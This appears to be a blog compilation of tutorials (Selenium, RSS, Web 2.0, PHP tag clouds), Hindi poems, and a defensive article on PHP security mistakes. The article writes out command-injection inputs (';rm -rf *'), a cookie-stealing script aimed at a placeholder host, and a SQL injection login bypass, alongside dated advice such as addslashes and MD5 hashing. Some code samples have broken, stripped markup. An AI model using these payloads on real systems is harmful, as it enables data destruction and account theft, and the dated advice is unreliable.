Cloud Computing

Cloud Computing : -  It refers to the Utilization of shared , elastic resources and processing power accessed via Internet.

Cloud based developement means , outsourcing of various parts of application out of server & into the cloud.

Instead of storing Images , Videos , Audio or other files into File system , thay are stored in Cloud.

Instead of using Local server DB , a cloud-based DB is used.

Batch – processing and other functionalities are also performed on Cloud.

Most significant benefit of course is that Cloud’s capacity is theoretically limitless as compared to some Local servers.

Amazon Cloud related offerings are EC2 ,S3 and Cloud Front

EC2 :- elastic compute cloud , it allows developers to start instances of servers & control them via web services interface.

S3 :- provides storage on cloud.

Cloud Front :- S3 objeccts are esaily achieved via Cloud Front

Working with Selenium-IDE & Running PHP Unit tests

Working with Selenium-IDE | Running Functional Tests | Runnig PHP Unit Tests

Selenium IDE is an integrated development environment for Selenium tests. It is implemented as a Firefox extension, and allows you to record, edit, and debug tests. Selenium IDE includes the entire Selenium Core, allowing you to easily and quickly record and play back tests in the actual environment that they will run.

Selenium IDE is not only recording tool: it is a complete IDE. You can choose to use its recording capability, or you may edit your scripts by hand. With auto-complete support and the ability to move commands around quickly, Selenium IDE is the ideal environment for creating Selenium tests no matter what style of tests you prefer.

1. Download selenium IDE from
http://selenium-ide.openqa.org/download.jsp

This will directly add IDE as fire-fox add-ons.
https://addons.mozilla.org/en-US/firefox/addon/2079
2. Start Firefox and then Start Selenium IDE: Tools->Selenium IDE.

You will see the following window.

3. Enter base url or open the site on which you want to perform functional testing.
IDE will directly open in play mode with the entry of base url as below. Here we want to perform testing on
http://www.offshoresoftwaredevelopmentindia.com/

4. After starting the IDE now simply browse the site. It� makes entry in the table as below

Now the entire test is like

Now stop recording by pressing red button.

In html format it looks like

We can export this file in any format we want as

In PHP format it looks as

5. Now to run the recorded test open new browser and press the green – play button

6. The test will run as follow

7. If there will be any error then that test will be highlighted by red line as

8. If you are on a slow internet connection than it may help to slow the test speed.

9. You can save the test case in php as follow..

Required changes in the exported PHP file is as follow

a. Change the class name same as stored file name as default class name will be ?Example?.
b. Enter the web-site name in the
$this->setBrowserUrl(”
http://change-this-to-the-site-you-are-testing/“);
Field.
c. Available browser options are
*iexplore
*konqueror
*firefox
*mock
*pifirefox
*piiexplore
*chrome
*safari
*opera
*iehta
*custom
That is write as follow
$this->setBrowser(”*chrome”);
(When we define browser as chrome then no need to get security certificate but in case of firefox or iexplore we need to take certificate. )

10. Downloading and installing Selenium RC
Selenium RC is a Java based command line server that starts browsers and runs commands you pass from your tests.

a. First make sure you have a Java runtime installed on your machine.
Otherwise download it from
http://www.java.com/en/download/manual.jsp
http://java.sun.com/javase/6/docs/technotes/guides/jweb/otherFeatures/jre_install.html
Test the version of JRE by entering command on command line as ?
java -version
b. Download Selenium RC from
http://selenium-rc.seleniumhq.org/download.html.
c. After extracting the files from the archive copy the ?selenium-server.jar? file to any directory you feel appropriate.
d. Start the Selenium RC server from the command-line by issuing the following command:
java -jar selenium-server.jar
This will start the server on port 4444.
e. Now the server is ready to accept test commands from your PHP script. Make sure you keep this server running till you finish testing.

11. Changes in selenium-server.jar file requires to run in Firefox is as below:

a. Open selenium-server.jar using winrar
b. locate 2 dirs: customProfileDirCUSTFFCHROME and customProfileDirCUSTFF
c. recursively explore each of those dirs, and when you find a file called install.rdf drag it to some temp location, and edit the following line:
<em:maxVersion>2.0.0.*</em:maxVersion>
change it to:
<em:maxVersion>4.0.0.*</em:maxVersion>
d. drag the install.rdf back into the archive and overwrite the old one.
e. do this for all the install.rdf files in those 2 dirs.

12. Installing PHPUnit
a. An easy way to install PHPUnit is to use the PEAR installer. The PEAR channel (pear.phpunit.de) is used to distribute PHPUnit so make sure that it is registered with your local PEAR environment:
pear channel-discover pear.phpunit.de
After the channel is registered install PHPUnit:
pear install phpunit/PHPUnit
Actual testing

Now that PHPUnit is installed and the Selenium RC server is up and running, it?s time to run our test we saved before in our ?Example.php? file. Type the following on your command-line:
phpunit Example

13. This will start the test. The PHPUnit Selenium driver will execute each test command from your file and send it to the Selenium server, which does the job of launching the appropriate browser, opening web pages, and performing various specified actions; and closing the browser after the test completes.

This will open new browser as

After successful execution the output will be as

 

REFERENCE:

http://www.offshoresoftwaredevelopmentindia.com/blog/category/php-development/

Akela Hu

pathik aaye pathik gaye ,
par hu isthir achal mein ..
Naa chahat naa umaung mujh mei
Phir bhi heethi sthumb hu mei ..

dhanye hai woh pathik ,
jisne karuna samjhi meri
yehsas kiya mere hone ko
aur jeevan ka saar bhara

Pathik likhna mera jeevan
Jisme kabhi khusiya bhi
panchiyo ki kilkariya thi
aur fuloo se bhara mera daaman tha

tab harek pathik mujhe niharta jata
aur mere rang roop ki bayakhya karta
woh dekh suun mei bhi shaan mei jhulta
mud mast hoke hawaoo se larta

badal se larta jahgarta mei
sabko bundo ke geet sunata
bejali ki chamak ko vish payala samjha kar
khuud sevan karta jata mei

karakti dhup me pathiko ko chaya deta mei
aur khud ussme jalta mei
meri tehniyo, patto ko thor ghar banate
panchiyo ko aashrye deta mei

magar aab mei akela , bebash hu
sab ne aapni rahe khojh li
per mei yehi hu kis ke intezaar mei
zindagi ke baache pal aate hi hoge !!!!

                                                        — Anand Sharma

Brief  Preface:-

One day i was just walking alone on road and at one side of road there was lots of huge trees . But suddenly i saw that there was one tree which has nothing in that , Only skeleton on tree was left . At that point , i felt very sorry for that tree , because around that tree lots of greenary trees were  there.So i felt one feeling about that tree which i tried to write here. i dont know whether you guys will able to understand it or not beacause my hindi is too bad when i start to write it ..

जीवन की आपाधापी में

जीवन की आपाधापी में कब वक़्त मिला

कुछ देर कहीं पर बैठ कभी यह सोच सकूँ

जो किया, कहा, माना उसमें क्या बुरा भला।

जिस दिन मेरी चेतना जगी मैंने देखा

मैं खड़ा हुआ हूँ इस दुनिया के मेले में,

हर एक यहाँ पर एक भुलाने में भूला

हर एक लगा है अपनी अपनी दे-ले में

कुछ देर रहा हक्का-बक्का, भौचक्का-सा,

आ गया कहाँ, क्या करूँ यहाँ, जाऊँ किस जा?

फिर एक तरफ से आया ही तो धक्का-सा

मैंने भी बहना शुरू किया उस रेले में,

क्या बाहर की ठेला-पेली ही कुछ कम थी,

जो भीतर भी भावों का ऊहापोह मचा,

जो किया, उसी को करने की मजबूरी थी,

जो कहा, वही मन के अंदर से उबल चला,

जीवन की आपाधापी में कब वक़्त मिला

कुछ देर कहीं पर बैठ कभी यह सोच सकूँ

जो किया, कहा, माना उसमें क्या बुरा भला।

मेला जितना भड़कीला रंग-रंगीला था,

मानस के अन्दर उतनी ही कमज़ोरी थी,

जितना ज़्यादा संचित करने की ख़्वाहिश थी,

उतनी ही छोटी अपने कर की झोरी थी,

जितनी ही बिरमे रहने की थी अभिलाषा,

उतना ही रेले तेज ढकेले जाते थे,

क्रय-विक्रय तो ठण्ढे दिल से हो सकता है,

यह तो भागा-भागी की छीना-छोरी थी;

अब मुझसे पूछा जाता है क्या बतलाऊँ

क्या मान अकिंचन बिखराता पथ पर आया,

वह कौन रतन अनमोल मिला ऐसा मुझको,

जिस पर अपना मन प्राण निछावर कर आया,

यह थी तकदीरी बात मुझे गुण दोष न दो

जिसको समझा था सोना, वह मिट्टी निकली,

जिसको समझा था आँसू, वह मोती निकला।

जीवन की आपाधापी में कब वक़्त मिला

कुछ देर कहीं पर बैठ कभी यह सोच सकूँ

जो किया, कहा, माना उसमें क्या बुरा भला।

मैं कितना ही भूलूँ, भटकूँ या भरमाऊँ,

है एक कहीं मंज़िल जो मुझे बुलाती है,

कितने ही मेरे पाँव पड़े ऊँचे-नीचे,

प्रतिपल वह मेरे पास चली ही आती है,

मुझ पर विधि का आभार बहुत-सी बातों का।

पर मैं कृतज्ञ उसका इस पर सबसे ज़्यादा -

नभ ओले बरसाए, धरती शोले उगले,

अनवरत समय की चक्की चलती जाती है,

मैं जहाँ खड़ा था कल उस थल पर आज नहीं,

कल इसी जगह पर पाना मुझको मुश्किल है,

ले मापदंड जिसको परिवर्तित कर देतीं

केवल छूकर ही देश-काल की सीमाएँ

जग दे मुझपर फैसला उसे जैसा भाए

लेकिन मैं तो बेरोक सफ़र में जीवन के

इस एक और पहलू से होकर निकल चला।

जीवन की आपाधापी में कब वक़्त मिला

कुछ देर कहीं पर बैठ कभी यह सोच सकूँ

जो किया, कहा, माना उसमें क्या बुरा भला।

RSS(Really simple Syndication)

RSS stands for Really Simple syndication / Rich Site Summary .

RSS is used to get standard data format for communicating news , any updates or any thing that indiviual or organisation want to syndicate with large audience .

RSS is an XML format that consists of designated elements that are consistent for all RSS feeds and conform to the XML 1.0 specification. These elements need to stay consistent to allow for a standardized data format that RSS aggregators can then consume.

An RSS feed always starts with an <rss> element, which contains an attribute called version, which specifies the version of the RSS feed.Today RSS version 2.0 is used world wide.

<rss version=”2.0″></rss>

<rss> element has a child called <channel> that is used  for  containing important data or content with in RSS feed .

<rss version=”2.0″><channel></channel></rss>


In order to describe an RSS feed there are some tags that can be added to the beginning of a feed.

The required <channel> elements are <title>, <link>; and <description>. Optional channel elements are <language>, <copyright>, <managingEditor>, <webmaster>, <pubDate>, <lastBuildDate>, <category>, <generator>, <docs>, <cloud>, <ttl>, <image>, <rating>, <textInput>, <skipHours> and <skipDays>.


  • language – The language of the content in the channel.
  • copyright – The copyright notice for the content of the channel.
  • managingEditor – An e-mail address for the editorial content producer.
  • webMaster – An e-mail address for the webmaster.
  • pubDate – A date that represents the publication date for the content in the channel.
  • lastBuildDate – The last date and time that the content was changed.
  • category – Allows for the ability to add one or multiple categories that a channel belongs to.
  • generator – The program that created the channel.
  • docs – URL for the documentation for the format of the RSS feed.
  • cloud – Provides a process to register with a “cloud” that will be used to notify about updates.
  • ttl – Stands for time to live, which tells the length of time the channel can be cached.
  • image – Specifies an image file to be displayed in the channel.
  • rating – PICS rating for the channel.
  • textInput – A text input field that can be displayed with the channel.
  • skipHours – Tells aggregators to skip for specified hours.
  • skipDays – Tells aggregators to skip for specified days.

RSS feeds are grouped into items, for example an item group could be considered news stories from a news Web site, blog posts from a weblog and so on. The following feed consists of an item from a weblog, which consists of a post. Typically an RSS feed for a weblog has multiple items that represent all of the posts to the blog. Following is an example of the RSS feed data that can be found in a blog.



1 <rss version=“2.0″>
2 <channel>
3 <item>
4 <guid isPermaLink=“false”>
5 http://www.blogger.com/feeds/12931054/posts/115232323
6 </guid>
7 <pubDate>Fri, 01 mar 2010 21:08:00 +0000</pubDate>
8 <title>Secure Ajax Requests</title>
9 <description>
10 <div xmlns=“http://www.w3.org/1999/xhtml”>My latest article for InformIT, titled <href=“http://www.informit.com”>How to Secure Ajax Requests</a> is on the homepage this week. This article focuses on ensuring that your database-enabled Ajax requests are secure and not leaving your database open for an attack. Enjoy…</div>
11 </description>
12 <link>
13 http://www.annadshahil11.wordpresscom/blog/09/secure-ajax-requests.html
14 </link>
15 <author>anand sharma</author>
16 </item>
17 </channel>
18 </rss>

  • guid – The guid is an element that contains a string that uniquely identifies the item.
  • pubDate – The pubDate is the date that the item was published.
  • title – The title is the title that is specified for the item; in this case it’s the title of the weblog post.
  • description – Contains the main data for the item, this element is used for the body of the weblog post in this case.
  • link – Contains a full URL to the individual page in which the specific item exists in detail.
  • author – Represents the author of the content that is presented within this item group.
  • category – Allows the item to be included into one ore more category.
  • comments – URL of page that contains comments related to the item.
  • enclosure – Can be used to describe a media object if one is attached to the item.
  • source – The RSS channel that the item came from.



Reference :-

http://www.webreference.com/authoring/languages/xml/rss/feeds/

http://www.webreference.com/programming/javascript/rss_feeds_ajax/

http://www.webreference.com/programming/javascript/rss_feeds_ajax/2.html

http://www.developer.com/xml/article.php/3113931

http://forums.digitalpoint.com/showthread.php?t=32265

WEB 2.0

WEB 2.0 :-

It is a second generation of web developement and design that aims to facilitate communications , secure information sharing , interoperability (means ability of diverse systems and organisation to work together ) and collaboration on world wide web . Web 2.o concepts useerd in host services , applications such as social networking sites , blogs, video sharing sites , wikis .

web 2.0 encourages interactivity and interconnectivity. Web 2.0 websites allow user to do more than just retreiving information . These sites provide controll to user so that they can own data and exercise controll over data.

Web 2.0 is often feature a rich , user friendly based on AJAX, Open laszlo , Flex and other rich media.

The Characteristic of web 2.0 are : rich user experience , user participation , dynamic content , metadata(Metadata (meta data, or sometimes metainformation) is “data about other data”, of any sort in any media. metadata would document data about data elements or attributes, (name, size, data type, etc) and data about records or data structures (length, fields, columns, etc) and data about data (where it is located, how it is associated, ownership, etc.)) , web standards and scalability(scalability is a desirable property of a system, a network, or a process, which indicates its ability to either handle growing amounts of work in a graceful manner, or to be readily enlarged).




Top 7 PHP Security Blunders

Top 7 PHP Security Blunders

PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn’t require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.
In this article, I’ll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you’ll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.
Security is a process, not a product, and adopting a sound approach to security during the process of application development will allow you to produce tighter, more robust code.
Unvalidated Input Errors
One of — if not the — most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it’s certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we’ll discuss later in this article.
As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command.

$month = $_GET['month'];
$year = $_GET['year'];

exec(”cal $month $year”, $result);
print “

";
 foreach ($result as $r) { print "$r
"; }
 print "

“;
This code has a gaping security hole, since the $_GET[month] and $_GET[year] variables are not validated in any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year is provided as a proper four-digit year. However, a malicious user might append “;ls -la” to the year value and thereby see a listing of your Website’s html directory. An extremely malicious user could append “;rm -rf *” to the year value and delete your entire Website!
The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.
$month = $_GET['month'];
$year = $_GET['year'];if (!preg_match(”/^[0-9]{1,2}$/”, $month)) die(”Bad month, please re-enter.”);
if (!preg_match(”/^[0-9]{4}$/”, $year)) die(”Bad year, please re-enter.”);

exec(”cal $month $year”, $result);
print “

";
 foreach ($result as $r) { print "$r
"; }
 print "

“;
This code can safely be used without concern that a user could provide input that would compromise your application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to grasp, but are extremely useful in this type of situation.
You should always validate your user-provided data by rejecting anything other than the expected data. Never use the approach that you’ll accept anything except data you know to be harmful — this is a common source of security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.
You should be as restrictive as possible when you validate any input. If some characters don’t need to be included, you should probably either strip them out, or reject the input completely.
Access Control Flaws
Another type of flaw that’s not necessarily restricted to PHP applications, but is important nonetheless, is the access control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be restricted to certain users, such as an administration page that allows configuration settings to be changed, or displays sensitive information.
You should check the user’s access privileges upon every load of a restricted page of your PHP application. If you check the user’s credentials on the index page only, a malicious user could directly enter a URL to a “deeper” page, which would bypass this credential checking process.
It’s also advisable to layer your security, for example, by restricting user access on the basis of the user’s IP address as well as their user name, if you have the luxury of writing an application for users that will have predictable or fixed IPs. Placing your restricted pages in a separate directory that’s protected by an apache .htaccess file is also good practice.
Place configuration files outside your Web-accessible directory. A configuration file can contain database passwords and other information that could be used by malicious users to penetrate or deface your site; never allow these files to be accessed by remote users. Use the PHP include function to include these files from a directory that’s not Web-accessible, possibly including an .htaccess file containing “deny from all” just in case the directory is ever made Web-accessible by adiminstrator error. Though this is redundant, layering security is a positive thing.
For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and configuration files are stored in the includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The www and admin directories are the only directories whose files can be accessed directly by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user name and password that’s stored in the .htpasswd file in the root directory of the site.
/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin
.htaccess
index.php
You should set your Apache directory indexes to ‘index.php’, and keep an index.php file in every directory. Set it to redirect to your main page if the directory should not be browsable, such as an images directory or similar.
Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the filename. Depending on the Web server you use (Apache thankfully appears to have safeguards for this), the PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable — it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The system saves every version of each file in your project, which can be invaluable when changes are made that cause problems later.
Session ID Protection
Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for each user’s session, but if this ID is known to another user, that person can hijack the user’s session and see information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the risks so you can mitigate them.
For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to enter a new password without also entering their old password, for example. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.
A user who creates a new session by logging in should be assigned a fresh session ID using the session_regenerate_id function. A hijacking user will try to set his session ID prior to login; this can be prevented if you regenerate the ID at login.
If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.
If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that’s keyed to the session ID rather than as a session variable. If you must store a password in a session variable (and I stress again that it’s best just to avoid this), do not store the password in clear text; use the sha1() (PHP 4.3+) or md5() function to store the hash of the password instead.
if ($_SESSION['password'] == $userpass) {
// do sensitive things here
}
The above code is not secure, since the password is stored in plain text in a session variable. Instead, use code more like this:
if ($_SESSION['sha1password'] == sha1($userpass)) {
// do sensitive things here
}
The SHA-1 algorithm is not without its flaws, and further advances in computing power are making it possible to generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still vastly superior to storing passwords in clear text. Use MD5 if you must — since it’s superior to a clear text-saved password — but keep in mind that recent developments have made it possible to generate MD5 collisions in less than an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256; such a function does not currently ship with PHP and must be found separately.
For further reading on hash collisions, among other security related topics, Bruce Schneier’s Website is a great resource.
Cross Site Scripting (XSS) Flaws
Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands — usually JavaScript — in data that is displayed and therefore executed by another user.
For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users’ cookie and session information, and use this data in a session hijacking or other attack on your site.document.location =
‘http://www.badguys.com/cgi-bin/cookie.php?’ +
document.cookie;

To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in particular, ) to HTML character entities (< and >), so that the submitted data is treated as plain text for display purposes. Just pass the data through PHP’s htmlspecialchars function as you are producing the output.
If your application requires that your users be able to submit HTML content and have it treated as such, you will instead need to filter out potentially harmful tags like . This is best done when the content is first submitted, and will require a bit of regular expressions know-how.
The Cross Site Scripting FAQ at cgisecurity.com provides much more information and background on this type of flaw, and explains it well. I highly recommend reading and understanding it. XSS flaws can be difficult to spot and are one of the easier mistakes to make when programming a PHP application, as illustrated by the high number of XSS advisories issued on the popular security mailing lists.

SQL Injection Vulnerabilities
SQL injection vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and password, then check for the user by passing the database a query and checking the result.
SELECT * FROM users WHERE name=’$username’ AND pass=’$password’;
However, if the user who’s logging in is devious, he may enter the following as his password:
‘ OR ‘1′=’1
This results in the query being sent to the database as:
SELECT * FROM users WHERE name=’known_user’ AND pass=” OR ‘1′=’1′;
This will return the username without validating the password — the malicious user has gained entry to your application as a user of his choice. To alleviate this problem, you need to escape dangerous characters from the user-submitted values, most particularly the single quotes (’). The simplest way to do this is to use PHP’s addslashes() function.
$username = addslashes($_POST["username"]);
$password = addslashes($_POST["password"]);
But depending on your PHP configuration, this may not be necessary! PHP’s much-reviled magic quotes feature is enabled by default in current versions of PHP. This feature, which can be disabled by setting the magic_quotes_gpc php.ini variable to Off, will automatically apply addslashes to all values submitted via GET, POST or cookies. This feature safeguards against inexperienced developers who might otherwise leave security holes like the one described above, but it has an unfortunate impact on performance when input values do not need to be escaped for use in database queries. Thus, most experienced developers elect to switch this feature off.
If you’re developing software that may be installed on shared servers where you might not be able to change the php.ini file, use code to check that status of magic_quotes_gpc and, if it is turned on, pass all input values through PHP’s stripslashes() function. You can then apply addslashes() to any values destined for use in database queries as you would normally.
if (get_magic_quotes_gpc()){
$_GET = array_map(’stripslashes’, $_GET);
$_POST = array_map(’stripslashes’, $_POST);
$_COOKIE = array_map(’stripslashes’, $_COOKIE);
}
SQL injection flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output selected database records if the result of the query is printed to your HTML output.
You should always check user-provided data that will be used in a query for the characters ‘”,;() and, possibly, for the keywords “FROM”, “LIKE”, and “WHERE” in a case-insensitive fashion. These are the characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they’re unnecessary, you’ll have much less to worry about from this type of flaw.
Error Reporting
You should ensure that your display_errors php.ini value is set to “0″. Otherwise, any errors that are encountered in your code, such as database connection errors, will be output to the end user’s browser. A malicious user could leverage this flaw to gain information about the internal workings of your application, simply by providing bad input and reading the error messages that result.
The display_errors value can be set at runtime using the ini_set function, but this is not as desirable as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal error and cannot run, the ini_set function is not run.
Instead of displaying errors, set the error_log ini variable to “1″ and check your PHP error log frequently for caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem exists. Read the PHP manual pages on error handling and learn about the set_error_handler() function.
Data Handling Errors
Data handling errors aren’t specific to PHP per se, but PHP application developers still need to be aware of them. This class of error arises when data is handled in an insecure manner, which makes it available to possible interception or modification by malicious parties.
The most common type of data handling error is in the unencrypted HTTP transmission of sensitive data that should be transmitted via HTTPS. Credit card numbers and customer information are the most common types of secured data, but if you transmit usernames and passwords over a regular HTTP connection, and those usernames and passwords allow access to sensitive material, you might as well transmit the sensitive material itself over an unencrypted connection. Use SSL security whenever you transmit sensitive data from your application to a user’s browser. Otherwise, a malicious eavesdropper on any router between your server and the end user can very easily sniff the sensitive information out of the network packets.
The same type of risk can occur when applications are updated using FTP, which is an insecure protocol. Transferring a PHP file that contains database passwords to your remote Webserver over an insecure protocol like FTP can allow an eavesdropper to sniff the packets and reveal your password. Always use a secure protocol like SFTP or SCP to transmit sensitive files. Never allow sensitive information to be sent by your application via email, either. An email message is readable by anyone who’s capable of reading the network traffic. A good rule of thumb is that if you wouldn’t write the information on the back of a postcard and put it through the mail, you shouldn’t send it via email, either. The chance anyone will actually intercept the message may be low, but why risk it?
It’s important to minimize your exposure to data handling flaws. For example, if your application is an online store, is it necessary to save the credit card numbers attached to orders that are more than six months old? Archive the data and store it offline, limiting the amount of data that can be compromised if your Webserver is breached. It’s basic security practice not only to attempt to prevent an intrusion or compromise, but also to mitigate the negative effects of a successful compromise. No security system is ever perfect, so don’t assume that yours is. Take steps to minimize the fallout if you do suffer a penetration.
Configuring PHP For Security
Generally, most new PHP installations that use recent PHP releases are configured with much stronger security defaults than was standard in past PHP releases. However, your application may be installed on a legacy server that has had its version of PHP upgraded, but not the php.ini file. In this case, the default settings may not be as secure as the default settings on a fresh install.
You should create a page that calls the phpinfo() function to list your php.ini variables and scan them for insecure settings. Keep this page in a restricted place and do not allow public access to it. The output of phpinfo() contains information that a potential hacker might find extremely useful.
Some settings to consider when configuring PHP for security include:
1.register_globals: The boogeyman of PHP security is register_globals, which used to default to “on” in older releases of PHP but has since been changed to default to “off”. It exports all user input as global variables. Check this setting and disable it — no buts, no exceptions. Just do it! This setting is possibly responsible for more PHP security flaws than any other single cause. If you’re on a shared host, and they won’t let you disable register_globals, get a new host!
2.safe_mode: The safe mode setting can be very useful to prevent unauthorized access to local system files. It works by only allowing the reading of files that are owned by the user account that owns the executing PHP script. If your application opens local files often, consider enabling this setting.
3.disable_functions: This setting can only be set in your php.ini file, not at runtime. It can be set to a list of functions that you would like disabled in your PHP installation. It can help prevent the possible execution of harmful PHP code. Some functions that are useful to disable if you do not use them are system and exec, which allow the execution of external programs.
Read the security section of the PHP manual and get to know it well. Treat it as material for a test you’ll take and get to know it backwards and forwards. You will be tested on the material by the hackers who will indubitably attempt to penetrate your site. You get a passing grade on the test if the hackers give up and move on to an easier target whose grasp of these concepts is insufficient.
Further Reading
The following sites are recommended reading to maintain your security knowledge. New flaws and new forms of exploits are discovered all the time, so you cannot afford to rest on your laurels and assume you have all the bases covered. As I stated in the introduction to this article, “Security is a process”, but security education is also a process, and your knowledge must be maintained.
OWASP, The Open Web Application Security Project, is a non-profit oganisation dedicated to “finding and fighting the causes of insecure software”. The resources it provides are invaluable and the group has many local chapters that hold regular meetings with seminars and roundtable discussions. Highly recommended.
CGISecurity.Net is another good site dealing with Web application security. They have some interesting FAQs and more in-depth documentation on some of the types of flaws I’ve discussed in this article.
The security section of the PHP Manual is a key resource that I mentioned above, but I include it here again, since it’s full of great information that’s directly applicable to PHP. Don’t gloss over the comments at the bottom of each page: some of the best and most up-to-date information can be found in the user-contributed notes.
The PHP Security Consortium offers a library with links to other helpful resources, PHP-specific summaries of the SecurityFocus newsletters, the PHP Security Guide, and a couple of articles.
The BugTraq mailing list is a great source of security related advisories that you should read if you’re interested in security in general. You may be shocked by the number of advisories that involve popular PHP applications allowing SQL insertion, Cross Site Scripting and some of the other flaws I’ve discussed here.
Linux Security is another good site that is not necessarily restricted to PHP but, since you are likely running a Linux Webserver to host your PHP applications, it’s useful to try to stay up to date on the latest advisories and news related to your chosen Linux distribution. Don’t assume your hosting company is on top of these developments; be aware on your own — your security is only as good as your weakest point. It does you no good to have a tightly secured PHP application running on a server with an outdated service that exposes a well-known and exploitable flaw.
Conclusions
As I’ve shown in this article, there are many things to be aware of when programming secure PHP applications, though this is true with any language, and any server platform. PHP is no less secure than many other common development languages. The most important thing is to develop a proper security mindset and to know your tools well. I hope you enjoyed this article and learned something as well! Remember: just because you’re paranoid doesn’t mean there’s no one out to get you.

Tag Cloud in PHP

code :-

<?php

// connect to database at some point

// In the SQL below, change these three things:
// thing is the column name that you are making a tag cloud for
// id is the primary key
// my_table is the name of the database table

$query = "SELECT thing AS tag, COUNT(id) AS quantity
FROM my_table
GROUP BY thing
ORDER BY thing ASC";

$result = mysql_query($query);

// here we loop through the results and put them into a simple array:
// $tag['thing1'] = 12;
// $tag['thing2'] = 25;
// etc. so we can use all the nifty array functions
// to calculate the font-size of each tag
while ($row = mysql_fetch_array($result)) {
    $tags[$row['tag']] = $row['quantity'];
}

// change these font sizes if you will
$max_size = 250; // max font size in %
$min_size = 100; // min font size in %

// get the largest and smallest array values
$max_qty = max(array_values($tags));
$min_qty = min(array_values($tags));

// find the range of values
$spread = $max_qty - $min_qty;
if (0 == $spread) { // we don't want to divide by zero
    $spread = 1;
}

// determine the font-size increment
// this is the increase per tag quantity (times used)
$step = ($max_size - $min_size)/($spread);

// loop through our tag array
foreach ($tags as $key => $value) {

    // calculate CSS font-size
    // find the $value in excess of $min_qty
    // multiply by the font-size increment ($size)
    // and add the $min_size set above
    $size = $min_size + (($value - $min_qty) * $step);
    // uncomment if you want sizes in whole %:
    // $size = ceil($size);

    // you'll need to put the link destination in place of the #
    // (assuming your tag links to some sort of details page)
    echo ''.$key.' ';
    // notice the space at the end of the link
}

?>

Should give you something that looks like this (but as links if you so choose):

Thing 1 Thing 2 Thing 3 Thing 4 Thing 5 Thing 6 Thing 7 Thing 8

Hope someone finds this useful—I think it’s a really good way to visualize the popularity of any sort of categories: blog post tags, membership per country, songs per artist in your favorite playlist, etc.

Edit 2006-10-07:

After a few of the questions I’ve received, here’s a bit of an expansion on this technique. (A few others are answered in the comments, so be sure to read those, too!)

If you need more parameters than just the tag name to build your links, you can add anything else you need to an auxiliary array with the same index (e.g., the tag name. You could also use the primary key for your tag/category if your database is structured that way. The important thing is to have all the related data using the same index—you’re basically building a relational database in your array(s).)

while ($row = mysql_fetch_array($result)) {
    $tags[$row['tag']] = $row['quantity'];
    // same index as tags array
    $category_id[$row['tag']] = $row['category_id'];
}

Then, when you’re actually building the tag link within the for loop, you can access your other data with $key as the array index:

foreach ($tags as $key => $value) {

    $size = $min_size + (($value - $min_qty) * $step);

    echo ''
      .$key.' ';
}

Edit 2008-08-04:

Here’s how I style my tag cloud:
tag cloud

echo '
    ‘; foreach ($uses as $key => $value) { $size = $min_size + (($value – $min_qty) * $step_size); echo ‘

  • ‘.$key.’‘; echo ‘ (’.$value.)
  • ‘; } echo ‘

‘; ul.tagcloud { list-style-type: none; padding: 0; line-height: 2em; } ul.tagcloud li { display: inline; line-height: 3em; white-space: nowrap; } ul.tagcloud li:after { content: “,”; } ul.tagcloud li:last-child:after { content: “”; } ul.tagcloud .count { font-size: 0.875em; line-height: 1.714em; color: #888; }

